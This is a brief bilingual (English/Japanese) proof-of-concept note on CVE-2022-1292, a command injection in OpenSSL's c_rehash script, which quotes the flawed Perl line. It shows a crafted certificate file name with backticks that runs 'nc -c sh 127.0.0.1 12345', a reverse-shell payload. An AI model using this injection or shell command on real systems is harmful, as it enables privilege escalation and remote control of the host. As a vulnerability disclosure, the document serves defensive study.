
CVE-2022-1292 OpenSSL c_rehash 脆弱性 - POC

The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
コマンドインジェクションは、ファイル名が適切にサニタイズされていないために発生します:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;スクリプトのこの部分は脆弱です。バックティックを閉じることでコマンド実行が可能になるため、例えば MyCert.crt`whoami` という名前のファイルがあると "whoami" が実行されます。
/etc/ssl/certs/ (デフォルト) または update-ca-certificates で設定された他のパスに移動しますecho "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc をペイロードの例として)c_rehash . を実行することもできます。